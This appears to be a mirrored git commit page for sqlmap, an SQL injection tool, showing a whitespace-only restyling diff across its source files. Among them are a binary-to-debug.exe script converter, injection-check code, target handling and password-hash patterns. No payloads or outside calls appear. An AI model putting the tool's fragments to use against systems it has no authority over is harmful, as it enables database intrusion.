mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 01:26:42 +03:00
Minor code restyling
This commit is contained in:
parent
983546d6bf
commit
f56d135438
|
@ -129,7 +129,7 @@ EUCJPSMModel = {'classTable': EUCJP_cls,
|
||||||
|
|
||||||
# EUC-KR
|
# EUC-KR
|
||||||
|
|
||||||
EUCKR_cls = ( \
|
EUCKR_cls = ( \
|
||||||
1,1,1,1,1,1,1,1, # 00 - 07
|
1,1,1,1,1,1,1,1, # 00 - 07
|
||||||
1,1,1,1,1,1,0,0, # 08 - 0f
|
1,1,1,1,1,1,0,0, # 08 - 0f
|
||||||
1,1,1,1,1,1,1,1, # 10 - 17
|
1,1,1,1,1,1,1,1, # 10 - 17
|
||||||
|
@ -371,7 +371,7 @@ UCS2BE_cls = ( \
|
||||||
0,0,0,0,0,0,0,0, # f0 - f7
|
0,0,0,0,0,0,0,0, # f0 - f7
|
||||||
0,0,0,0,0,0,4,5) # f8 - ff
|
0,0,0,0,0,0,4,5) # f8 - ff
|
||||||
|
|
||||||
UCS2BE_st = ( \
|
UCS2BE_st = ( \
|
||||||
5, 7, 7,eError, 4, 3,eError,eError,#00-07
|
5, 7, 7,eError, 4, 3,eError,eError,#00-07
|
||||||
eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,#08-0f
|
eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,#08-0f
|
||||||
eItsMe,eItsMe, 6, 6, 6, 6,eError,eError,#10-17
|
eItsMe,eItsMe, 6, 6, 6, 6,eError,eError,#10-17
|
||||||
|
|
|
@ -47,7 +47,7 @@ def decloak(inputFile):
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
|
usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
|
||||||
parser = OptionParser(usage=usage, version='0.1')
|
parser = OptionParser(usage=usage, version='0.1')
|
||||||
|
|
||||||
try:
|
try:
|
||||||
parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')
|
parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')
|
||||||
|
|
|
@ -24,13 +24,13 @@ def convert(inputFile):
|
||||||
print "ERROR: the provided input file '%s' is too big for debug.exe" % inputFile
|
print "ERROR: the provided input file '%s' is too big for debug.exe" % inputFile
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
script = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_"))
|
script = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_"))
|
||||||
script += "%x\nf 0100 ffff 00\n" % fileSize
|
script += "%x\nf 0100 ffff 00\n" % fileSize
|
||||||
scrString = ""
|
scrString = ""
|
||||||
counter = 256
|
counter = 256
|
||||||
counter2 = 0
|
counter2 = 0
|
||||||
|
|
||||||
fp = open(inputFile, "rb")
|
fp = open(inputFile, "rb")
|
||||||
fileContent = fp.read()
|
fileContent = fp.read()
|
||||||
|
|
||||||
for fileChar in fileContent:
|
for fileChar in fileContent:
|
||||||
|
@ -40,20 +40,20 @@ def convert(inputFile):
|
||||||
counter2 += 1
|
counter2 += 1
|
||||||
|
|
||||||
if not scrString:
|
if not scrString:
|
||||||
scrString = "e %0x %02x" % (counter, unsignedFileChar)
|
scrString = "e %0x %02x" % (counter, unsignedFileChar)
|
||||||
else:
|
else:
|
||||||
scrString += " %02x" % unsignedFileChar
|
scrString += " %02x" % unsignedFileChar
|
||||||
elif scrString:
|
elif scrString:
|
||||||
script += "%s\n" % scrString
|
script += "%s\n" % scrString
|
||||||
scrString = ""
|
scrString = ""
|
||||||
counter2 = 0
|
counter2 = 0
|
||||||
|
|
||||||
counter += 1
|
counter += 1
|
||||||
|
|
||||||
if counter2 == 20:
|
if counter2 == 20:
|
||||||
script += "%s\n" % scrString
|
script += "%s\n" % scrString
|
||||||
scrString = ""
|
scrString = ""
|
||||||
counter2 = 0
|
counter2 = 0
|
||||||
|
|
||||||
script += "w\nq\n"
|
script += "w\nq\n"
|
||||||
|
|
||||||
|
@ -67,7 +67,7 @@ def main(inputFile, outputFile):
|
||||||
script = convert(inputFile)
|
script = convert(inputFile)
|
||||||
|
|
||||||
if outputFile:
|
if outputFile:
|
||||||
fpOut = open(outputFile, "w")
|
fpOut = open(outputFile, "w")
|
||||||
sys.stdout = fpOut
|
sys.stdout = fpOut
|
||||||
sys.stdout.write(script)
|
sys.stdout.write(script)
|
||||||
sys.stdout.close()
|
sys.stdout.close()
|
||||||
|
@ -76,7 +76,7 @@ def main(inputFile, outputFile):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
usage = "%s -i <input file> [-o <output file>]" % sys.argv[0]
|
usage = "%s -i <input file> [-o <output file>]" % sys.argv[0]
|
||||||
parser = OptionParser(usage=usage, version="0.1")
|
parser = OptionParser(usage=usage, version="0.1")
|
||||||
|
|
||||||
try:
|
try:
|
||||||
parser.add_option("-i", dest="inputFile", help="Input binary file")
|
parser.add_option("-i", dest="inputFile", help="Input binary file")
|
||||||
|
@ -91,7 +91,7 @@ if __name__ == "__main__":
|
||||||
except (OptionError, TypeError), e:
|
except (OptionError, TypeError), e:
|
||||||
parser.error(e)
|
parser.error(e)
|
||||||
|
|
||||||
inputFile = args.inputFile
|
inputFile = args.inputFile
|
||||||
outputFile = args.outputFile
|
outputFile = args.outputFile
|
||||||
|
|
||||||
main(inputFile, outputFile)
|
main(inputFile, outputFile)
|
||||||
|
|
|
@ -657,8 +657,8 @@ class XmlTokenizer:
|
||||||
self.character_data = ''
|
self.character_data = ''
|
||||||
|
|
||||||
self.parser = xml.parsers.expat.ParserCreate()
|
self.parser = xml.parsers.expat.ParserCreate()
|
||||||
self.parser.StartElementHandler = self.handle_element_start
|
self.parser.StartElementHandler = self.handle_element_start
|
||||||
self.parser.EndElementHandler = self.handle_element_end
|
self.parser.EndElementHandler = self.handle_element_end
|
||||||
self.parser.CharacterDataHandler = self.handle_character_data
|
self.parser.CharacterDataHandler = self.handle_character_data
|
||||||
|
|
||||||
def handle_element_start(self, name, attributes):
|
def handle_element_start(self, name, attributes):
|
||||||
|
|
|
@ -38,16 +38,16 @@ def updateMSSQLXML():
|
||||||
mssqlVersionsHtmlString = f.read()
|
mssqlVersionsHtmlString = f.read()
|
||||||
f.close()
|
f.close()
|
||||||
except urllib2.URLError:
|
except urllib2.URLError:
|
||||||
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
|
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
|
||||||
__mssqlHostname = __mssqlPath[1]
|
__mssqlHostname = __mssqlPath[1]
|
||||||
|
|
||||||
warnMsg = "[WARNING] sqlmap was unable to connect to %s," % __mssqlHostname
|
warnMsg = "[WARNING] sqlmap was unable to connect to %s," % __mssqlHostname
|
||||||
warnMsg += " check your Internet connection and retry"
|
warnMsg += " check your Internet connection and retry"
|
||||||
print warnMsg
|
print warnMsg
|
||||||
|
|
||||||
return
|
return
|
||||||
|
|
||||||
releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server ([\d\.]+) Builds", mssqlVersionsHtmlString, re.I | re.M)
|
releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server ([\d\.]+) Builds", mssqlVersionsHtmlString, re.I | re.M)
|
||||||
releasesCount = len(releases)
|
releasesCount = len(releases)
|
||||||
|
|
||||||
# Create the minidom document
|
# Create the minidom document
|
||||||
|
@ -73,9 +73,9 @@ def updateMSSQLXML():
|
||||||
startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
|
startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
|
||||||
|
|
||||||
if index == releasesCount - 1:
|
if index == releasesCount - 1:
|
||||||
stopIdx = len(mssqlVersionsHtmlString)
|
stopIdx = len(mssqlVersionsHtmlString)
|
||||||
else:
|
else:
|
||||||
stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
|
stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
|
||||||
|
|
||||||
mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
|
mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
|
||||||
servicepackVersion = re.findall("</td><td>[7\.0|2000|2005|2008]*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I | re.M)
|
servicepackVersion = re.findall("</td><td>[7\.0|2000|2005|2008]*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I | re.M)
|
||||||
|
@ -133,7 +133,7 @@ def updateMSSQLXML():
|
||||||
doc.writexml(writer=mssqlXml, addindent=" ", newl="\n")
|
doc.writexml(writer=mssqlXml, addindent=" ", newl="\n")
|
||||||
mssqlXml.close()
|
mssqlXml.close()
|
||||||
|
|
||||||
infoMsg = "[INFO] done. retrieved data parsed and saved into '%s'" % MSSQL_XML
|
infoMsg = "[INFO] done. retrieved data parsed and saved into '%s'" % MSSQL_XML
|
||||||
print infoMsg
|
print infoMsg
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|
|
@ -75,7 +75,7 @@ def safechardecode(value):
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
|
usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
|
||||||
parser = OptionParser(usage=usage, version='0.1')
|
parser = OptionParser(usage=usage, version='0.1')
|
||||||
|
|
||||||
try:
|
try:
|
||||||
parser.add_option('-i', dest='inputFile', help='Input file')
|
parser.add_option('-i', dest='inputFile', help='Input file')
|
||||||
|
|
|
@ -19,15 +19,15 @@ from operator import itemgetter
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
|
|
||||||
TIMEOUT = 10
|
TIMEOUT = 10
|
||||||
CONFIG_FILE = 'sqlharvest.cfg'
|
CONFIG_FILE = 'sqlharvest.cfg'
|
||||||
TABLES_FILE = 'tables.txt'
|
TABLES_FILE = 'tables.txt'
|
||||||
USER_AGENT = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; AskTB5.3)'
|
USER_AGENT = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; AskTB5.3)'
|
||||||
SEARCH_URL = 'http://www.google.com/m?source=mobileproducts&dc=gorganic'
|
SEARCH_URL = 'http://www.google.com/m?source=mobileproducts&dc=gorganic'
|
||||||
MAX_FILE_SIZE = 2*1024*1024 # if a result (.sql) file for downloading is more than 2MB in size just skip it
|
MAX_FILE_SIZE = 2*1024*1024 # if a result (.sql) file for downloading is more than 2MB in size just skip it
|
||||||
QUERY = 'CREATE TABLE ext:sql'
|
QUERY = 'CREATE TABLE ext:sql'
|
||||||
REGEX_URLS = r';u=([^"]+)'
|
REGEX_URLS = r';u=([^"]+)'
|
||||||
REGEX_RESULT = r'CREATE TABLE\s*(/\*.*\*/)?\s*(IF NOT EXISTS)?\s*(?P<result>[^\(;]+)'
|
REGEX_RESULT = r'CREATE TABLE\s*(/\*.*\*/)?\s*(IF NOT EXISTS)?\s*(?P<result>[^\(;]+)'
|
||||||
|
|
||||||
tables = dict()
|
tables = dict()
|
||||||
refiles = re.compile(REGEX_URLS)
|
refiles = re.compile(REGEX_URLS)
|
||||||
|
|
|
@ -34,7 +34,7 @@ def action():
|
||||||
if not Backend.getDbms() or not conf.dbmsHandler:
|
if not Backend.getDbms() or not conf.dbmsHandler:
|
||||||
htmlParsed = Format.getErrorParsedDBMSes()
|
htmlParsed = Format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
errMsg = "sqlmap was not able to fingerprint the "
|
errMsg = "sqlmap was not able to fingerprint the "
|
||||||
errMsg += "back-end database management system"
|
errMsg += "back-end database management system"
|
||||||
|
|
||||||
if htmlParsed:
|
if htmlParsed:
|
||||||
|
|
|
@ -356,7 +356,7 @@ def checkSqlInjection(place, parameter, value):
|
||||||
injectable = True
|
injectable = True
|
||||||
|
|
||||||
except sqlmapConnectionException, msg:
|
except sqlmapConnectionException, msg:
|
||||||
debugMsg = "problem occured most likely because the "
|
debugMsg = "problem occured most likely because the "
|
||||||
debugMsg += "server hasn't recovered as expected from the "
|
debugMsg += "server hasn't recovered as expected from the "
|
||||||
debugMsg += "error-based payload used ('%s')" % msg
|
debugMsg += "error-based payload used ('%s')" % msg
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
|
@ -174,7 +174,7 @@ def start():
|
||||||
kb.targetUrls.add(( conf.url, conf.method, conf.data, conf.cookie ))
|
kb.targetUrls.add(( conf.url, conf.method, conf.data, conf.cookie ))
|
||||||
|
|
||||||
if conf.configFile and not kb.targetUrls:
|
if conf.configFile and not kb.targetUrls:
|
||||||
errMsg = "you did not edit the configuration file properly, set "
|
errMsg = "you did not edit the configuration file properly, set "
|
||||||
errMsg += "the target url, list of targets or google dork"
|
errMsg += "the target url, list of targets or google dork"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
return False
|
return False
|
||||||
|
@ -183,15 +183,15 @@ def start():
|
||||||
infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls)
|
infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
hostCount = 0
|
hostCount = 0
|
||||||
cookieStr = ""
|
cookieStr = ""
|
||||||
setCookieAsInjectable = True
|
setCookieAsInjectable = True
|
||||||
|
|
||||||
for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls:
|
for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls:
|
||||||
try:
|
try:
|
||||||
conf.url = targetUrl
|
conf.url = targetUrl
|
||||||
conf.method = targetMethod
|
conf.method = targetMethod
|
||||||
conf.data = targetData
|
conf.data = targetData
|
||||||
conf.cookie = targetCookie
|
conf.cookie = targetCookie
|
||||||
|
|
||||||
initTargetEnv()
|
initTargetEnv()
|
||||||
|
@ -289,7 +289,7 @@ def start():
|
||||||
if not conf.dropSetCookie and conf.cj:
|
if not conf.dropSetCookie and conf.cj:
|
||||||
for _, cookie in enumerate(conf.cj):
|
for _, cookie in enumerate(conf.cj):
|
||||||
cookie = getUnicode(cookie)
|
cookie = getUnicode(cookie)
|
||||||
index = cookie.index(" for ")
|
index = cookie.index(" for ")
|
||||||
|
|
||||||
cookieStr += "%s;" % cookie[8:index]
|
cookieStr += "%s;" % cookie[8:index]
|
||||||
|
|
||||||
|
@ -297,7 +297,7 @@ def start():
|
||||||
cookieStr = cookieStr[:-1]
|
cookieStr = cookieStr[:-1]
|
||||||
|
|
||||||
if PLACE.COOKIE in conf.parameters:
|
if PLACE.COOKIE in conf.parameters:
|
||||||
message = "you provided an HTTP Cookie header value. "
|
message = "you provided an HTTP Cookie header value. "
|
||||||
message += "The target url provided its own Cookie within "
|
message += "The target url provided its own Cookie within "
|
||||||
message += "the HTTP Set-Cookie header. Do you want to "
|
message += "the HTTP Set-Cookie header. Do you want to "
|
||||||
message += "continue using the HTTP Cookie values that "
|
message += "continue using the HTTP Cookie values that "
|
||||||
|
|
|
@ -49,9 +49,9 @@ def setHandler():
|
||||||
management system.
|
management system.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
count = 0
|
count = 0
|
||||||
dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server", "SQLite", "Microsoft Access", "Firebird", "SAP MaxDB", "Sybase" )
|
dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server", "SQLite", "Microsoft Access", "Firebird", "SAP MaxDB", "Sybase" )
|
||||||
dbmsObj = [
|
dbmsObj = [
|
||||||
( MYSQL_ALIASES, MySQLMap, MySQLConn ),
|
( MYSQL_ALIASES, MySQLMap, MySQLConn ),
|
||||||
( ORACLE_ALIASES, OracleMap, OracleConn ),
|
( ORACLE_ALIASES, OracleMap, OracleConn ),
|
||||||
( PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn ),
|
( PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn ),
|
||||||
|
@ -77,7 +77,7 @@ def setHandler():
|
||||||
|
|
||||||
for dbmsAliases, dbmsMap, dbmsConn in dbmsObj:
|
for dbmsAliases, dbmsMap, dbmsConn in dbmsObj:
|
||||||
if conf.dbms and conf.dbms not in dbmsAliases:
|
if conf.dbms and conf.dbms not in dbmsAliases:
|
||||||
debugMsg = "skipping test for %s" % dbmsNames[count]
|
debugMsg = "skipping test for %s" % dbmsNames[count]
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
count += 1
|
count += 1
|
||||||
|
|
|
@ -646,7 +646,7 @@ def dataToStdout(data, forceOutput=False):
|
||||||
output = data.encode('ascii', errors="replace")
|
output = data.encode('ascii', errors="replace")
|
||||||
|
|
||||||
if output != data:
|
if output != data:
|
||||||
warnMsg = "cannot properly display Unicode characters "
|
warnMsg = "cannot properly display Unicode characters "
|
||||||
warnMsg += "inside Windows OS command prompt "
|
warnMsg += "inside Windows OS command prompt "
|
||||||
warnMsg += "(http://bugs.python.org/issue1602). All "
|
warnMsg += "(http://bugs.python.org/issue1602). All "
|
||||||
warnMsg += "similar occurances will result in "
|
warnMsg += "similar occurances will result in "
|
||||||
|
@ -1891,7 +1891,7 @@ def adjustTimeDelay(lastQueryDuration, lowerStdLimit):
|
||||||
if all([x == candidate for x in kb.delayCandidates]) and candidate < conf.timeSec:
|
if all([x == candidate for x in kb.delayCandidates]) and candidate < conf.timeSec:
|
||||||
print
|
print
|
||||||
|
|
||||||
warnMsg = "adjusting time delay to %d second%s " % (candidate, 's' if candidate > 1 else '')
|
warnMsg = "adjusting time delay to %d second%s " % (candidate, 's' if candidate > 1 else '')
|
||||||
warnMsg += "(due to good response times)"
|
warnMsg += "(due to good response times)"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
@ -2402,7 +2402,7 @@ def unhandledExceptionMessage():
|
||||||
Returns detailed message about occured unhandled exception
|
Returns detailed message about occured unhandled exception
|
||||||
"""
|
"""
|
||||||
|
|
||||||
errMsg = "unhandled exception in %s, retry your " % VERSION_STRING
|
errMsg = "unhandled exception in %s, retry your " % VERSION_STRING
|
||||||
errMsg += "run with the latest development version from the Subversion "
|
errMsg += "run with the latest development version from the Subversion "
|
||||||
errMsg += "repository. If the exception persists, please send by e-mail "
|
errMsg += "repository. If the exception persists, please send by e-mail "
|
||||||
errMsg += "to %s the following text " % ML
|
errMsg += "to %s the following text " % ML
|
||||||
|
|
|
@ -24,7 +24,7 @@ firebirdTypes = {
|
||||||
"37":"VARCHAR"
|
"37":"VARCHAR"
|
||||||
}
|
}
|
||||||
|
|
||||||
sybaseTypes = {
|
sybaseTypes = {
|
||||||
"14":"floatn",
|
"14":"floatn",
|
||||||
"8":"float",
|
"8":"float",
|
||||||
"15":"datetimn",
|
"15":"datetimn",
|
||||||
|
@ -55,7 +55,7 @@ sybaseTypes = {
|
||||||
"20":"image",
|
"20":"image",
|
||||||
}
|
}
|
||||||
|
|
||||||
mysqlPrivs = {
|
mysqlPrivs = {
|
||||||
1:"select_priv",
|
1:"select_priv",
|
||||||
2:"insert_priv",
|
2:"insert_priv",
|
||||||
3:"update_priv",
|
3:"update_priv",
|
||||||
|
@ -84,7 +84,7 @@ mysqlPrivs = {
|
||||||
26:"create_user_priv",
|
26:"create_user_priv",
|
||||||
}
|
}
|
||||||
|
|
||||||
pgsqlPrivs = {
|
pgsqlPrivs = {
|
||||||
1:"createdb",
|
1:"createdb",
|
||||||
2:"super",
|
2:"super",
|
||||||
3:"catupd",
|
3:"catupd",
|
||||||
|
|
|
@ -34,7 +34,7 @@ class Dump:
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.__outputFile = None
|
self.__outputFile = None
|
||||||
self.__outputFP = None
|
self.__outputFP = None
|
||||||
|
|
||||||
def __write(self, data, n=True):
|
def __write(self, data, n=True):
|
||||||
text = "%s%s" % (data, "\n" if n else " ")
|
text = "%s%s" % (data, "\n" if n else " ")
|
||||||
|
@ -300,7 +300,7 @@ class Dump:
|
||||||
|
|
||||||
def dbTableValues(self, tableValues):
|
def dbTableValues(self, tableValues):
|
||||||
replication = None
|
replication = None
|
||||||
rtable = None
|
rtable = None
|
||||||
|
|
||||||
if tableValues is None:
|
if tableValues is None:
|
||||||
return
|
return
|
||||||
|
@ -321,18 +321,18 @@ class Dump:
|
||||||
dumpFileName = "%s%s%s.csv" % (dumpDbPath, os.sep, table)
|
dumpFileName = "%s%s%s.csv" % (dumpDbPath, os.sep, table)
|
||||||
dumpFP = openFile(dumpFileName, "wb")
|
dumpFP = openFile(dumpFileName, "wb")
|
||||||
|
|
||||||
count = int(tableValues["__infos__"]["count"])
|
count = int(tableValues["__infos__"]["count"])
|
||||||
separator = str()
|
separator = str()
|
||||||
field = 1
|
field = 1
|
||||||
fields = len(tableValues) - 1
|
fields = len(tableValues) - 1
|
||||||
|
|
||||||
columns = tableValues.keys()
|
columns = tableValues.keys()
|
||||||
columns.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
|
columns.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
|
||||||
|
|
||||||
for column in columns:
|
for column in columns:
|
||||||
if column != "__infos__":
|
if column != "__infos__":
|
||||||
info = tableValues[column]
|
info = tableValues[column]
|
||||||
lines = "-" * (int(info["length"]) + 2)
|
lines = "-" * (int(info["length"]) + 2)
|
||||||
separator += "+%s" % lines
|
separator += "+%s" % lines
|
||||||
|
|
||||||
separator += "+"
|
separator += "+"
|
||||||
|
@ -381,9 +381,9 @@ class Dump:
|
||||||
|
|
||||||
for column in columns:
|
for column in columns:
|
||||||
if column != "__infos__":
|
if column != "__infos__":
|
||||||
info = tableValues[column]
|
info = tableValues[column]
|
||||||
maxlength = int(info["length"])
|
maxlength = int(info["length"])
|
||||||
blank = " " * (maxlength - len(column))
|
blank = " " * (maxlength - len(column))
|
||||||
|
|
||||||
self.__write("| %s%s" % (column, blank), n=False)
|
self.__write("| %s%s" % (column, blank), n=False)
|
||||||
|
|
||||||
|
@ -458,7 +458,7 @@ class Dump:
|
||||||
else:
|
else:
|
||||||
colConsiderStr = " '%s' was" % column
|
colConsiderStr = " '%s' was" % column
|
||||||
|
|
||||||
msg = "Column%s found in the " % colConsiderStr
|
msg = "Column%s found in the " % colConsiderStr
|
||||||
msg += "following databases:"
|
msg += "following databases:"
|
||||||
self.__write(msg)
|
self.__write(msg)
|
||||||
|
|
||||||
|
|
|
@ -8,94 +8,94 @@ See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
class PRIORITY:
|
class PRIORITY:
|
||||||
LOWEST = -100
|
LOWEST = -100
|
||||||
LOWER = -50
|
LOWER = -50
|
||||||
LOW = -10
|
LOW = -10
|
||||||
NORMAL = 0
|
NORMAL = 0
|
||||||
HIGH = 10
|
HIGH = 10
|
||||||
HIGHER = 50
|
HIGHER = 50
|
||||||
HIGHEST = 100
|
HIGHEST = 100
|
||||||
|
|
||||||
class SORTORDER:
|
class SORTORDER:
|
||||||
FIRST = 0
|
FIRST = 0
|
||||||
SECOND = 1
|
SECOND = 1
|
||||||
THIRD = 2
|
THIRD = 2
|
||||||
FOURTH = 3
|
FOURTH = 3
|
||||||
FIFTH = 4
|
FIFTH = 4
|
||||||
LAST = 100
|
LAST = 100
|
||||||
|
|
||||||
class DBMS:
|
class DBMS:
|
||||||
ACCESS = "Microsoft Access"
|
ACCESS = "Microsoft Access"
|
||||||
FIREBIRD = "Firebird"
|
FIREBIRD = "Firebird"
|
||||||
MAXDB = "SAP MaxDB"
|
MAXDB = "SAP MaxDB"
|
||||||
MSSQL = "Microsoft SQL Server"
|
MSSQL = "Microsoft SQL Server"
|
||||||
MYSQL = "MySQL"
|
MYSQL = "MySQL"
|
||||||
ORACLE = "Oracle"
|
ORACLE = "Oracle"
|
||||||
PGSQL = "PostgreSQL"
|
PGSQL = "PostgreSQL"
|
||||||
SQLITE = "SQLite"
|
SQLITE = "SQLite"
|
||||||
SYBASE = "Sybase"
|
SYBASE = "Sybase"
|
||||||
|
|
||||||
class OS:
|
class OS:
|
||||||
LINUX = "Linux"
|
LINUX = "Linux"
|
||||||
WINDOWS = "Windows"
|
WINDOWS = "Windows"
|
||||||
|
|
||||||
class PLACE:
|
class PLACE:
|
||||||
GET = "GET"
|
GET = "GET"
|
||||||
POST = "POST"
|
POST = "POST"
|
||||||
SOAP = "SOAP"
|
SOAP = "SOAP"
|
||||||
URI = "URI"
|
URI = "URI"
|
||||||
COOKIE = "Cookie"
|
COOKIE = "Cookie"
|
||||||
UA = "User-Agent"
|
UA = "User-Agent"
|
||||||
REFERER = "Referer"
|
REFERER = "Referer"
|
||||||
|
|
||||||
class HTTPMETHOD:
|
class HTTPMETHOD:
|
||||||
GET = "GET"
|
GET = "GET"
|
||||||
POST = "POST"
|
POST = "POST"
|
||||||
HEAD = "HEAD"
|
HEAD = "HEAD"
|
||||||
|
|
||||||
class NULLCONNECTION:
|
class NULLCONNECTION:
|
||||||
HEAD = "HEAD"
|
HEAD = "HEAD"
|
||||||
RANGE = "Range"
|
RANGE = "Range"
|
||||||
|
|
||||||
class HASH:
|
class HASH:
|
||||||
MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z'
|
MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z'
|
||||||
MYSQL_OLD = r'(?i)\A[0-9a-f]{16}\Z'
|
MYSQL_OLD = r'(?i)\A[0-9a-f]{16}\Z'
|
||||||
POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z'
|
POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z'
|
||||||
MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z'
|
MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z'
|
||||||
MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z'
|
MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z'
|
||||||
ORACLE = r'(?i)\As:[0-9a-f]{60}\Z'
|
ORACLE = r'(?i)\As:[0-9a-f]{60}\Z'
|
||||||
ORACLE_OLD = r'(?i)\A[01-9a-f]{16}\Z'
|
ORACLE_OLD = r'(?i)\A[01-9a-f]{16}\Z'
|
||||||
MD5_GENERIC = r'(?i)\A[0-9a-f]{32}\Z'
|
MD5_GENERIC = r'(?i)\A[0-9a-f]{32}\Z'
|
||||||
SHA1_GENERIC = r'(?i)\A[0-9a-f]{40}\Z'
|
SHA1_GENERIC = r'(?i)\A[0-9a-f]{40}\Z'
|
||||||
CRYPT_GENERIC = r'(?i)\A[./0-9A-Za-z]{13}\Z'
|
CRYPT_GENERIC = r'(?i)\A[./0-9A-Za-z]{13}\Z'
|
||||||
|
|
||||||
# Reference: http://www.zytrax.com/tech/web/mobile_ids.html
|
# Reference: http://www.zytrax.com/tech/web/mobile_ids.html
|
||||||
class MOBILES:
|
class MOBILES:
|
||||||
BLACKBERRY = "RIM Blackberry 9800 Torch;Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.246 Mobile Safari/534.1+"
|
BLACKBERRY = "RIM Blackberry 9800 Torch;Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.246 Mobile Safari/534.1+"
|
||||||
GALAXY = "Samsung Galaxy S;Mozilla/5.0 (Linux; U; Android 2.2; en-US; SGH-T959D Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
|
GALAXY = "Samsung Galaxy S;Mozilla/5.0 (Linux; U; Android 2.2; en-US; SGH-T959D Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
|
||||||
HP = "HP iPAQ 6365;Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)"
|
HP = "HP iPAQ 6365;Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)"
|
||||||
HTC = "HTC Evo;Mozilla/5.0 (Linux; U; Android 2.2; en-us; Sprint APA9292KT Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
|
HTC = "HTC Evo;Mozilla/5.0 (Linux; U; Android 2.2; en-us; Sprint APA9292KT Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
|
||||||
IPHONE = "Apple iPhone 4;Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/531.22.7"
|
IPHONE = "Apple iPhone 4;Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/531.22.7"
|
||||||
NEXUS = "Google Nexus One;Mozilla/5.0 (Linux; U; Android 2.2; en-US; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
|
